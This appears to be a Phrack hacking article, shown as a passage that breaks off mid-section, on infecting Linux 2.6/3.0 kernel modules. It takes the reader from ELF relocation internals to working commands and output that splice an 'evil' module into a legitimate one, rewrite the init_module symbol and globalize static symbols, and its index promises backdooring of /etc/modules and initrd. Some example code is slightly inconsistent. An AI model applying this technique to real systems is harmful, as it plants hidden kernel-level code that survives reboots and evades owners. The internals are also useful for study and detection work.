|
==Phrack Inc.== Volume 0x0e, Issue 0x44, Phile #0x0b of 0x13 |=-----------------------------------------------------------------------=| |=----------------=[ Infecting loadable kernel modules ]=----------------=| |=-------------------=[ kernel versions 2.6.x/3.0.x ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ by styx^ ]=-----------------------------=| |=-----------------------=[ the.styx@gmail.com ]=------------------------=| |=-----------------------------------------------------------------------=| ---[ Index 1 - Introduction 2 - Kernel 2.4.x method 2.1 - First try 2.2 - LKM loading explanations 2.3 - The relocation process 3 - Playing with loadable kernel modules on 2.6.x/3.0.x 3.1 - A first example of code injection 4 - Real World: Is it so simple? 4.1 - Static functions 4.1.1 - Local symbol 4.1.2 - Changing symbol bind 4.1.3 - Try again 4.2 - Static __init functions 4.3 - What about cleanup_module 5 - Real life example 5.1 - Inject a kernel module in /etc/modules 5.2 - Backdooring initrd 6 - What about other systems? 6.1 - Solaris 6.1.1 - A basic example 6.1.2 - Playing with OS modules 6.1.3 - Keeping it stealthy 6.2 - *BSD 6.2.1 - FreeBSD - NetBSD - OpenBSD 7 - Conclusion 8 - References 9 - Codes 9.1 - Elfstrchange 9.2 - elfstrchange.patch ---[ 1 - Introduction In Phrack #61 [1] truff introduced a new method to infect a loadable kernel module on Linux kernel x86 2.4.x series. Actually this method is currently not compatible with the Linux kernel 2.6.x/3.0.x series due to the many changes made in kernel internals. As a result, in order to infect a kernel module, changing the name of symbols in .strtab section is not enough anymore; the task has become a little bit trickier. In this article it will be shown how to infect a kernel module on Linux kernel x86 2.6.*/3.0.x series. All the methods discussed here have been tested on kernel version 2.6.35, 2.6.38 and 3.0.0 on Ubuntu 10.10, 11.04 and 11.10 and on kernel version 2.6.18-238 on CentOS 5.6. The proposed method has been tested only on 32-bit architectures: a 64-bit adaptation is left as an exercise to the reader. Finally, I want to clarify that the proposed paper is not innovative, but is only an update of truff's paper. ---[ 2 - Kernel 2.4.x method ---[ 2.1 - First try With the help of a simple example it will be explained why truff's method is no longer valid: we are using the "elfstrchange" tool provided in his paper. First, let's write a simple testing kernel module: /****************** orig.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int evil(void) { printk(KERN_ALERT "Init Inject!"); return 0; } int init(void) { printk(KERN_ALERT "Init Original!"); return 0; } void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /****************** EOF **************************************************/ The module_init macro is used to register the initialization function of the loadable kernel module: in other words, the function which is called when the module is loaded, is the init() function. Reciprocally the module_exit macro is used to register the termination function of the LKM which means that in our example clean() will be invoked when the module is unloaded. These macros can be seen as the constructor/destructor declaration of the LKM object. A more exhaustive explanation can be found in section 2.2. Below is the associated Makefile: /****************** Makefile *********************************************/ obj-m += orig.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean /****************** EOF **************************************************/ Now the module can be compiled and the testing can start: $ make ... Truff noticed that altering the symbol names located in the .strtab section was enough to fool the resolution mechanism of kernel v2.4. Indeed the obj_find_symbol() function of modutils was looking for a specific symbol ("init_module") using its name [1]: /*************************************************************************/ module->init = obj_symbol_final_value(f, obj_find_symbol(f, SPFX "init_module")); module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f, SPFX "cleanup_module")); /*************************************************************************/ Let's have a look at the ELF symbol table of orig.ko: $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init We want to setup evil() as the initialization function instead of init(). Truff was doing it in two steps: 1. renaming init to dumm 2. renaming evil to init This can easily be performed using his tool, "elfstrchange", slightly bug-patched (see section 9): $ ./elfstrchange orig.ko init dumm [+] Symbol init located at 0xa91 [+] .strtab entry overwritten with dumm $ ./elfstrchange orig.ko evil init [+] Symbol evil located at 0xa4f [+] .strtab entry overwritten with init $ objdump -t orig.ko ... 00000040 g F .text 0000001b init <-- evil() 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b dumm <-- init() Now we're loading the module: $ sudo insmod orig.ko $ dmesg |tail ... [ 2438.317831] Init Original! As we can see the init() function is still invoked. Applying the same method with "init_module" instead of init doesn't work either. In the next subsection the reasons of this behaviour are explained. ---[ 2.2 LKM loading explanations In the above subsection I briefly mentioned the module_init and module_exit macros. Now let's analyze them. In kernel v2.4 the entry and exit functions of the LKMs were init_module() and cleanup_module(), respectively. Nowadays, with kernel v2.6, the programmer can choose the name he prefers for these functions using the module_init() and module_exit() macros. These macros are defined in "include/linux/init.h" [3]: /*************************************************************************/ #ifndef MODULE [...] #else /* MODULE */ [...] /* Each module must use one module_init(). */ #define module_init(initfn) \ static inline initcall_t __inittest(void) \ { return initfn; } \ int init_module(void) __attribute__((alias(#initfn))); /* This is only required if you want to be unloadable. */ #define module_exit(exitfn) \ static inline exitcall_t __exittest(void) \ { return exitfn; } \ void cleanup_module(void) __attribute__((alias(#exitfn))); [...] #endif /*MODULE*/ /*************************************************************************/ We are only interested in the "loadable module" case, that is when MODULE is defined. As you can see, init_module is always declared as an alias of initfn, the argument of the module_init macro. As a result, the compiler will always produce identical symbols in the relocatable object: one for initfn and one for "module_init". The same rule applies for the termination function, if the unloading mechanism is compiled in the kernel (that is if CONFIG_MODULE_UNLOAD is defined). When a module is compiled, first the compiler creates an object file for each source file, then it generates an additional generic source file, compiles it and finally links all the relocatable objects together. In the case of orig.ko, orig.mod.c is the file generated and compiled as orig.mod.o. The orig.mod.c follows: /*************************************************************************/ #include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, VERMAGIC_STRING); struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; static const struct modversion_info ____versions[] __used __attribute__((section("__versions"))) = { { 0x4d5503c4, "module_layout" }, { 0x50eedeb8, "printk" }, { 0xb4390f9a, "mcount" }, }; static const char __module_depends[] __used __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "EE786261CA9F9F457DF0EB5"); /*************************************************************************/ This file declares and partially initializes a struct module which will be stored in the ".gnu.linkonce.this_module" section of the object file. The module struct is defined in "include/linux/module.h": /*************************************************************************/ struct module { [...] /* Unique handle for this module */ char name[MODULE_NAME_LEN]; [...] /* Startup function. */ int (*init)(void); [...] /* Destruction function. */ void (*exit)(void); [...] }; /*************************************************************************/ So when the compiler auto-generates the C file, it always makes the .init and .exit fields of the struct pointing to the function "init_module" and "cleanup_module". But the corresponding functions are not declared in this C file so they are assumed external and their corresponding symbols are declared undefined (*UND*): $ objdump -t orig.mod.o orig.mod.o: file format elf32-i386 SYMBOL TABLE: [...] 00000000 *UND* 00000000 init_module 00000000 *UND* 00000000 cleanup_module When the linking with the other objects is performed, the compiler is then able to solve this issue thanks to the aliasing performed by the module_init() and module_exit() macros. $ objdump -t orig.ko 00000000 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000184 __this_module 00000040 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000040 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The aliasing can be seen as a smart trick to allow the compiler to declare and fill the __this_module object without too much trouble. This object is essential for the loading of the module in the v2.6.x/3.0.x kernels. To load the LKM, a userland tool (insmod/modprobe/etc.) calls the sys_init_module() syscall which is defined in "kernel/module.c": /*************************************************************************/ SYSCALL_DEFINE3(init_module, void __user *, umod, unsigned long, len, const char __user *, uargs) { struct module *mod; int ret = 0; ... /* Do all the hard work */ mod = load_module(umod, len, uargs); ... /* Start the module */ if (mod->init != NULL) ret = do_one_initcall(mod->init); ... } /*************************************************************************/ The load_module() function returns a pointer to a "struct module" object when the LKM is loaded in memory. As stated in the source code, load_module() handles the main tasks associated with the loading and as such is neither easy to follow nor to explain in a few sentences. However there are two important things that you should know: - load_module() is responsible for the ELF relocations - the mod->init is holding the relocated value stored in __this_module Note: Because __this_module is holding initialized function pointers (the address of init() and clean() in our example), there has to be a relocation at some point. After the relocation is performed, mod->init() refers to the kernel mapping of init_module() and can be called through do_one_initcall() which is defined in "init/main.c": /*************************************************************************/ int __init_or_module do_one_initcall(initcall_t fn) { int count = preempt_count(); int ret; if (initcall_debug) ret = do_one_initcall_debug(fn); <-- init_module() may be else called here ret = fn(); <-- or it may be called here msgbuf[0] = 0; ... return ret; } /*************************************************************************/ ---[ 2.3 - The relocation process The relocation itself is handled by the load_module() function and without any surprise the existence of the corresponding entries can be found in the binary: $ objdump -r orig.ko ./orig.ko: file format elf32-i386 ... RELOCATION RECORDS FOR [.gnu.linkonce.this_module]: OFFSET TYPE VALUE 000000d4 R_386_32 init_module 00000174 R_386_32 cleanup_module This means that the relocation has to patch two 32-bit addresses (because type == R_386_32) located at: - (&.gnu.linkonce.this_module = &__this_module) + 0xd4 [patch #1] - (&.gnu.linkonce.this_module = &__this_module) + 0x174 [patch #2] A relocation entry (in a 32-bit environment) is an Elf32_Rel object and is defined in "/usr/include/elf.h": /*************************************************************************/ typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) /*************************************************************************/ The important thing to remember is that the symbol is located using ELF32_R_SYM() which provides an index in the table of symbols, the .symtab section. This can be easily seen: $ readelf -S ./orig.ko | grep gnu.linkonce [10] .gnu.linkonce.thi PROGBITS 00000000 000240 000184 00 WA 0 0 32 [11] .rel.gnu.linkonce REL 00000000 0007f8 000010 08 16 10 4 The relocation section associated with section 10 is thus section 11. $ readelf -x 11 orig.ko Hex dump of section '.rel.gnu.linkonce.this_module': 0x00000000 d4000000 01160000 74010000 01150000 ........t....... So ELF32_R_SYM() is returning 0x16 (=22) for the first relocation and 0x1b (=21) for the second one. Now let's see the table of symbols: $ readelf -s .orig.ko Symbol table '.symtab' contains 33 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND ... 21: 00000040 25 FUNC GLOBAL DEFAULT 2 cleanup_module 22: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module ... This is a perfect match. So when the LKM is loaded: - The kernel performs a symbol resolution and the corresponding symbols are updated with a new value. At his point init_module and cleanup_module are holding kernel space addresses. - The kernel performs the required relocations using the index in the table of symbols to know how to patch. When the relocation is performed __this_module has been patched twice. At this point it should be clear that the address value of the init_module symbol has to be modified if we want to call evil() instead of init(). ---[ 3 - Playing with loadable kernel modules on 2.6.x/3.0.x As pointed out above, the address of the init_module symbol has to be modified in order to invoke the evil() function at loading time. Since the LKM is a relocatable object, this address is calculated using the offset (or relative address) stored in the st_value field of the Elf32_Sym structure [2], defined in "/usr/include/elf.h": /*************************************************************************/ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; /*************************************************************************/ $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The objdump output shows that: - the relative address of evil() is 0x00000040; - the relative address of init_module() is 0x00000020; - the relative address of init() is 0x00000020; Altering these offsets is enough to have evil() being called instead of init_module() because the relocation process in the kernel will produce the corresponding "poisoned" virtual address. The orig.ko has to look like this: 00000040 g F .text 0000001b evil ... 00000040 g F .text 0000001b init_module To do so, we can use my 'elfchger' script in order to modify the ELF file. The code structure is the same as truff's one, with some minor changes. The script takes the following input parameters: ./elfchger -s [symbol] -v [value] <module_name> Where [value] represents the new relative address of the [symbol] (init_module in our case) in <module_name>: Let's apply it to our example: $ ./elfchger -s init_module -v 00000040 orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x77c [+] Finding ".strtab" section... >> Found at 0x7a4 [+] Getting symbol' infos: >> Symbol found at 0x99c >> Index in symbol table: 0x16 [+] Replacing 0x00000020 with 0x00000040... done! The ELF file is now changed: $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000040 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init Let's load the module: $ sudo insmod orig.ko $ dmesg | tail ... [ 5733.929286] Init Inject! $ As expected the evil() function is invoked instead of init() when the module is loaded. ---[ 3.1 A first example of code injection The next step is the injection of external code inside the original module (orig.ko). A new kernel module (evil.ko) will be injected into orig.ko. We will use both orig.c and evil.c source codes: /***************************** orig.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int init_module(void) { printk(KERN_ALERT "Init Original!"); return 0; } void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /******************************** EOF ************************************/ /***************************** evil.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int evil(void) { printk(KERN_ALERT "Init Inject!"); return 0; } /******************************** EOF ************************************/ Once the two modules orig.ko and evil.ko are compiled, they can be linked together using the 'ld -r' command (as explained by truff) because they are both relocatable objects. $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko new.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The evil() function has now been linked into the new.ko module. The next step is to make init_module() (defined in orig.ko) an alias of evil() (defined in evil.ko). It can be done easily using ./elfchger: $ ./elfchger -f init_module -v 00000040 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbe4 >> Index in symbol table: 0x1d [+] Replacing 0x00000020 with 0x00000040... done! At this point the module can be renamed and loaded: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg | tail ... [ 6791.920363] Init Inject! And the magic occurs :) As already explained by truff, if we want the original module to work properly, we need to call its initialization function. This can be done using an imported symbol which will be fixed at linking time. The init() function is declared as extern: this means that it will be resolved at linking time. We use the following code: /****************************** evil.c ***********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int init(); int evil(void) { init(); printk(KERN_ALERT "Init Inject!"); /* do something */ return 0; } /******************************** EOF ************************************/ And it works: $ dmesg | tail ... [ 7910.392244] Init Original! [ 7910.392248] Init Inject! ---[ 4 - Real World: Is it so simple? In this section it will be shown why the method described above when used in real life may not work. In fact the example modules were overly simplified for a better understanding of the basic idea of module infection. ---[ 4.1 - Static functions The majority of Linux system modules are a little bit different from those used above. Here is a more accurate example: /***************************** orig.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); static int init(void) { printk(KERN_ALERT "Init Original!"); return 0; } static void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /******************************** EOF ************************************/ Let's try to use our method to inject the old evil code inside this new orig module. $ ld -r orig.ko evil.ko -o new.ko $ sudo insmod new.ko insmod: error inserting 'new.ko': -1 Unknown symbol in module What? More information is needed: $ dmesg | tail ... [ 2737.539906] orig: Unknown symbol init (err 0) The unknown symbol appears to be init. To understand the reason why init is "unknown" let's have a look at the symbol table of new.ko: $ objdump -t new.ko ... SYMBOL TABLE: ... 00000000 l F .text 00000019 clean 00000020 l F .text 0000001b init ... 00000040 g F .text 00000020 evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 *UND* 00000000 init This output shows that there are now two "init" symbols, one of them not being defined (*UND*). This means that the linker does not perform correctly the linking between the init functions in orig.ko and evil.ko. As a result, when the module is loaded, the kernel tries to find the init symbol, but since it is not defined anywhere it fails to do so and the module is not loaded. ---[ 4.1.1 - Local symbol The 'readelf' tool can give us more insight: $ readelf -s orig.ko Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 14: 00000020 27 FUNC LOCAL DEFAULT 2 init ... To summarize, we know about the init symbol that: - its relative address is 0x00000020; - its type is a function; - its binding is local; The symbol binding is now local (while it was previously global) since the init function is now declared 'static' in orig.c. This has the effect to reduce its scope to the file in which it is declared. For this reason the symbol was not properly resolved by the linker. We need to do something in order to change the scope of init, otherwise the injection won't work. ---[ 4.1.2 - Changing symbol binding It's possible to change a symbol binding using the 'objcopy' tool. In fact the '--globalize-symbol' option can be used to give global scoping to the specified symbol: $ objcopy --globalize-symbol=init ./orig.ko orig2.ko But if for some reason, objcopy is not present, the tool that I wrote can also globalize a particular symbol modifying all the necessary fields inside the ELF file. Each symbol table entry in the .symtab section is defined as follows [2]: /******************************** EOF ************************************/ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; /******************************** EOF ************************************/ First, it's necessary to find in the ELF file the symbol we are looking for (init) and check if it has a global or a local binding. The function ElfGetSymbolByName() searches the offset at which init symbol is located in the .symtab and it fills the corresponding "Elf32_Sym sym" structure. Next, the binding type must be checked by looking at the st_info field. Passing sym.st_info to the macro ELF32_ST_BIND() defined in "<elf.h>", returns the expected binding value. If the symbol has a local binding, these steps have to be performed: 1. Reorder the symbols: the symbol we are interested in must be placed among the global symbols inside the .symtab section. We'll see later why this step is mandatory. We need to move the init symbol from: $ readelf -s orig.ko Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 SECTION LOCAL DEFAULT 1 2: 00000000 0 SECTION LOCAL DEFAULT 2 3: 00000000 0 SECTION LOCAL DEFAULT 4 4: 00000000 0 SECTION LOCAL DEFAULT 5 5: 00000000 0 SECTION LOCAL DEFAULT 6 6: 00000000 0 SECTION LOCAL DEFAULT 8 7: 00000000 0 SECTION LOCAL DEFAULT 9 8: 00000000 0 SECTION LOCAL DEFAULT 10 9: 00000000 0 SECTION LOCAL DEFAULT 12 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000020 27 FUNC LOCAL DEFAULT 2 init <----- 15: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6 16: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c 17: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31 18: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends 19: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 20: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module 23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module 24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount 25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk To: Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 SECTION LOCAL DEFAULT 1 2: 00000000 0 SECTION LOCAL DEFAULT 2 3: 00000000 0 SECTION LOCAL DEFAULT 4 4: 00000000 0 SECTION LOCAL DEFAULT 5 5: 00000000 0 SECTION LOCAL DEFAULT 6 6: 00000000 0 SECTION LOCAL DEFAULT 8 7: 00000000 0 SECTION LOCAL DEFAULT 9 8: 00000000 0 SECTION LOCAL DEFAULT 10 9: 00000000 0 SECTION LOCAL DEFAULT 12 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6 15: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c 16: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31 17: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends 18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 20: 00000020 27 FUNC GLOBAL DEFAULT 2 init <----- 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module 23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module 24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount 25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk This task is accomplished by the "ReorderSymbols()" function. 2. Updating the information about the init symbol (i.e. its offset, index, etc..) according to its new position inside the .symtab section. 3. Changing the symbol binding from local to global by modifying the st_info field using the ELF32_ST_INFO macro: #define ELF32_ST_INFO(b, t) (((b)<<4)+((t)&0xf)) Where 'b' is the symbol binding and 't' the symbol type. The binding values are: Name Value ==== ===== STB_LOCAL 0 STB_GLOBAL 1 STB_WEAK 2 STB_LOPROC 13 STB_HIPROC 15 Obviously, STB_GLOBAL has to be used for our purpose. The type values are: Name Value ==== ===== STT_NOTYPE 0 STT_OBJECT 1 STT_FUNC 2 STT_SECTION 3 STT_FILE 4 STT_LOPROC 13 STT_HIPROC 15 The STT_FUNC is the type value to specify functions. So, the resulting macro will be: ELF32_ST_INFO(STB_GLOBAL, STT_FUNC); The init st_info field should then be set equal to the macro's result. 4. Updating the symtab section header, defined as: typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr; The header can be output by the 'readelf -e' command: $ readelf -e orig.ko ELF Header: ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [15] .shstrtab STRTAB 00000000 00040c 0000ae 00 0 0 1 [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4 [17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1 The value of the information (sh_info) field (reported as 'Inf') depends on the section header type (sh_type): sh_type sh_link sh_info ======= ======= ======= SHT_DYNAMIC The section header index of 0 the string table used by entries in the section. SHT_HASH The section header index of 0 the symbol table to which the hash table applies. SHT_REL, The section header index of The section header index of SHT_RELA the associated symbol table. the section to which the relocation applies. SHT_SYMTAB, The section header index of One greater than the symbol SHT_DYNSYM the associated string table. table index of the last local symbol (binding STB_LOCAL). other SHN_UNDEF 0 The sh_info must be updated according to the rules of the SHT_SYMTAB type. In our example, its value will be 20 = 19 + 1 (remember that our symbol will be placed after the "__mod_vermagic5" symbol, whose entry number is 19). This is the reason why reorder the symbol list (step 1) is a necessary step. All these tasks are accomplished by the tool I wrote by using this option: ./elfchger -g [symbol] <module_name> Where [symbol] is the symbol name which binding value has to be modified. ---[ 4.1.3 Try again At this point we can try another test, in which the developed tool will be used. The two modules (orig.c and evil.c) and the Makefile remain the same. The first step is to change the init binding from 'local' to 'global'. The outcome of the elfchger script can be checked by looking at the readelf's output before and after its use. Before running the script readelf outputs: $ readelf -a orig.ko ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4 ... Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000020 27 FUNC LOCAL DEFAULT 2 init ... 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module ... Let's run the script on the orig.ko file: $ ./elfchger -g init orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x73c [+] Finding ".strtab" section... >> Found at 0x764 [+] Getting symbol' infos: >> Symbol found at 0x8bc >> Index in symbol table: 0xe [+] Reordering symbols: >> Starting: >> Moving symbol from f to e >> Moving symbol from 10 to f >> Moving symbol from 11 to 10 >> Moving symbol from 12 to 11 >> Moving symbol from 13 to 12 >> Moving symbol from 14 to 13 >> Moving our symbol from 14 to 14 >> Last LOCAL symbol: 0x14 >> Done! [+] Updating symbol' infos: >> Symbol found at 0x91c >> Index in symbol table: 0x14 >> Replacing flag 'LOCAL' located at 0x928 with 'GLOBAL' [+] Updating symtab infos at 0x73c Let's see what happened: $ readelf -a orig.ko ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 20 4 [17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1 ... Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 20: 00000020 27 FUNC GLOBAL DEFAULT 2 init 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module ... So as expected: - the position of init is changed from 14 to 20 in the symbol table; - the 'Inf' field in the .symtab header has changed: its current value is 20 (19 (last index local symbol) + 1); - the binding of init has changed from local to global. Now we can link together orig.ko and evil.ko: $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko ... 00000040 g F .text 00000020 evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init We can notice that the init symbol is no more *UND*. The final step is to modify the value of init_module: $ ./elfchger -s init_module -v 00000040 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbfc >> Index in symbol table: 0x1e [+] Replacing 0x00000020 with 0x00000040... done! Let's try to load module: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg|tail ... [ 2385.342838] Init Original! [ 2385.342845] Init Inject! Cool!! It works! ---[ 4.2 Static __init init functions In the previous section it was demonstrated how to inject modules when the init function is declared as static. However in some cases the startup function in the kernel modules is defined with the __init macro: static int __init function_name(); The __init macro is used to describe the function as only being required during initialisation time. Once initialisation has been performed, the kernel will remove this function and release the corresponding memory. The __init macro is defined in "include/linux/init.h": /*************************************************************************/ #define __init __section(.init.text) __cold notrace /*************************************************************************/ The __section macro is defined in "include/linux/compiler.h": /*************************************************************************/ #define __section(S) __attribute__ ((__section__(#S))) /*************************************************************************/ While __cold macro is defined in "/include/linux/compiler-gcc*.h": /*************************************************************************/ #define __cold __attribute__((__cold__)) /*************************************************************************/ When the __init macro is used, a number of GCC attributes are added to the function declaration. The __cold attribute informs the compiler to optimize it for size instead of speed, because it'll be rarely used. The __section attribute informs the compiler to put the text for this function in a new section named ".init.text" [5]. How these __init functions are called can be checked in "kernel/module.c": /*************************************************************************/ static void __init do_initcalls(void) { initcall_t *fn; for (fn = __early_initcall_end; fn < __initcall_end; fn++) do_one_initcall(*fn); /* Make sure there is no pending stuff from the initcall sequence */ flush_scheduled_work(); } /*************************************************************************/ For each step of the loop inside the do_initcalls() function, an __init function set up by the module_init macro is executed. The injection will work even if the function is declared with __init. The module orig is as follows: /******************************** orig.c *********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); static int __init init(void) { printk(KERN_ALERT "Init Original!"); return 0; } static void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } 